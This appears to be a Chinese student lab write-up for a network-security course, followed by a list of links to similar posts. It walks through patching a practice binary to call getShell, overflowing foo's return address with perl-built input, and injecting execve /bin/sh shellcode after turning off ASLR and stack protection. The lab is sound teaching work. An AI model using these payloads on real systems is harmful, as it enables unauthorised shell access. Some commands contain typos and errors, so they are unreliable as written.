实践目的

  • 本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行Shellcode。

基础知识

NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果

实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。



    这张图是进程地址空间分布的简单表示。代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(内核态)内寻址。数据段内存储了用户程序的全局变量,文字池等。栈空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!(如果我没理解错的话,实验二三就是让堆里的数据溢出到栈里吗。?)
  • 注入一个自己制作的shellcode并运行这段shellcode。

任务一、直接修改程序机器指令,改变程序执行流程

使用`objdump -d 20165314pwn1`将pwn1反汇编

不难看出,80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。

如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff

修改步骤如下:

1.vim 20165314pwn1进入命令模式

2.输入:%!xxd将显示模式切换为十六进制

3.在底行模式输入/e8 d7定位需要修改的地方,并确认



4.进入插入模式,修改d7c3



5.输入:%!xxd -r将十六进制转换为原格式

6.输入:wq保存并退出

反汇编查看修改后的代码,发现call指令正确调用getShell

运行修改后的代码,可以得到shell提示符

任务二、通过构造输入参数,造成BOF攻击,改变程序执行流

实验思路:

pwn2正常运行是调用函数foo,这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。

1、运行pwn2,打开另一个终端窗口进入gdb,在foo函数的ret指令处设置断点,回到pwn2运行的终端输入字串1111111122222222333333334444444455555555,观察一下各寄存器的值

此时eip寄存器中的值为0x35353535,即5555的ASCII码。eip寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"5555"覆盖。

2、将输入字符串的“55555555”改成“12345678”,此时寄存器eip的值,换算成ASCⅡ码刚好是1234。

也就是说如果输入字符串1111111122222222333333334444444412345678,那1234那4个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn2,pwn2就会运行getShell由反汇编结果可知getShell的内存地址为:0804847d,因无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)

3、输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,由于kali系统采用的是大端法,所以构造内存地址时注意顺序,末尾的\0a表示回车换行。

4、然后将input```,通过管道符“|”,作为pwn1的输入,格式为```(cat input; cat ) | ./pwn

攻击成功

任务三、注入Shellcode并运行攻击

实验思路:注入shellcode使覆盖后的返回地址为shellcode()的起始地址

  • shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 首先使用apt-get install execstack命令安装execstack

    修改以下内容
设置堆栈可执行 execstack -s pwn2
查询文件的堆栈是否可执行 execstack -q pwn2//预期结果应为“X pwn2”
关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
查询地址随机化是否关闭(0代表关闭,2代表开启)
more /proc/sys/kernel/randomize_va_space

3.1 构造攻击buf(采用 retaddr+nop+shellcode 方法)

采用老师提供的shellcode 的代码\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00,

用perl语言输入代码perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

3.2确定返回地址的值

将写好的代码通过管道方式输入给程序pwn2中的foo函数进行覆盖(cat input_shellcode;cat) | ./pwn2,打开另外一个终端,用gdb来调试pwn2ps -ef | grep pwn2确定pwn2的进程号

  • 启动gdb调试这个程序 gdb ,attach 3900

  • 设置断点来查看注入buf的内存地址disassemble foo

    ret的地址为 0x080484ae,ret执行完就会跳到我们覆盖的返回地址了
  • break *0x080484ae设置断点
  • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
  • 再在gdb调试的终端输入 c 继续运行程序
  • 通过info r esp查看esp寄存器的地址



    上图可以看到 01020304所在的地址为0xffffd28c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd28c + 0x00000004 = 0xffffd290

    退出gdb调试。
  • 修改注入代码的覆盖地址

    输入perl -e 'print "A" x 32;printt"\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

    执行程序,攻击成功

实验中遇到问题及解决方法

Q:下载的pwn1无法修改,提示权限不够

A:输入chmod a+x pwn1修改权限即可,关于出现这个问题的原因我跟其他同学讨论了一下,得到的结论是64位的大段机器不能直接运行pwn,但是32位的小端机器可以直接运行,but..why?

Q:注入修改后的shellcode之后运行pwn3提示段错误

A:重新设置堆栈可执行

Q:实验一中修改pwn1后无法运行

A:在十六进制下修改pwn1文件之后要用%!xxd -r改回原来的格式

PS:周一有同学问我pwn执行提示无法执行二进制文件,老师在群里说是没安装32位的库所以不兼容的问题,我拿做完实验二的pwn2试了一下也出现这种问题,所以我以为是注入的代码会对程序本身造成破坏 ,但是我第二天把初始pwn1重新做了一遍就没出现这种情况

实验收获与感想

收获:进一步理解了缓存溢出的过程与危害,学会了利用BOF漏洞进行攻击,自己上手操作还是会有很多细节做得不对或者不懂,还是应该多问问老师和其他同学

什么是漏洞?有什么危害

emmm看到这个问题我愣了一下,就这么让我描述我有点懵,复制一句我百度到的,“漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。”其实这里说的破坏并不只是指实体层次的破坏,也有可能是功能层面的破坏,就比如说我们学过的SYNFLOOD攻击,利用TCP协议等待响应包的漏洞,使得目标机无法响应正常包,而目标机器本身并没有被破坏。漏洞的危害一句话说就是被攻击者会执行未授权的服务,或无法执行已授权的服务,例如,无法正常响应收到的包,又或者是访问者可以访问未收钱的数据等等。

2018-2019-2 20165314《网络对抗技术》Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. [BZOJ 1095] [ZJOI 2007] 捉迷藏

    Description 传送门 Solution 先将原树转化成点分树: 然后维护三个堆: \(c[i]\) 保存点分树中子树 \(i\) 中的黑色节点到 \(fa[i]\) 的距离: \(b[i]\ ...

  2. Web开发基础-Node.js-01

    01-浏览器工作原理 1)人机交互部分(ui) 2)网络请求部分(socket) 3)javascript引擎 4)渲染引擎(解析html,css) 5)数据存储部分(cookie,本地存储等) -- ...

  3. BZOJ 2733 永无乡

    splay启发式合并 启发式合并其实就是把集合数量小的合并到集合数量大的里去. 怎么合并呢,直接一个一个插入就行了.. 用并查集维护连通性,find(i)可以找到所在splay的编号 这题好像还可以合 ...

  4. 【SEERC2018A】【XSY3319】Numbers

    给你一个数 \(n\),求有多少种方案能把 \(n\) 分成两个非零回文数 \((a,b)\) 之和. 两个方案不同当且仅当 \(a_1\neq a_2\). \(n\leq {10}^{18}\) ...

  5. magento-2.2.6-1VM环境镜像-沙箱 - - 完全隔离的环境

    打包处理下载地址: 链接:https://pan.baidu.com/s/1HX0WjWEN8Wc-4TDvgEWMog 提取码:s2ls 官方下载 文档 BITNAMI MAGENTO堆栈虚拟机 B ...

  6. 解析.DBC文件, 读懂CAN通信矩阵,实现车内信号仿真

    通常我们拿到某个ECU的通信矩阵数据库文件,.dbc后缀名的文件. 直接使用CANdb++ Editor打开,可以很直观的读懂信号矩阵的信息,例如下图: 现在要把上图呈现的信号从.dbc文件中解析出来 ...

  7. Quick RF Tips for General Reference

    传送门:http://www.microwavetools.com/rf-tips-to-make-you-look-smart/ 全文搬运过来的,本篇文章并未有其它意义和目的,仅作为个人参考笔记,我 ...

  8. va_start

    #include <stdarg.h> void va_start(va_list ap, last); type va_arg(va_list ap, type); void va_en ...

  9. sql笔试题

    笔试题1: 1.select * from tablex where name = "张*" order by age  默认升序      select * from table ...

  10. sk-learn 决策树的超参数

    一.参数criterion:特征选择标准,[entropy, gini].默认gini,即CART算法. splitter:特征划分标准,[best, random].best在特征的所有划分点中找出 ...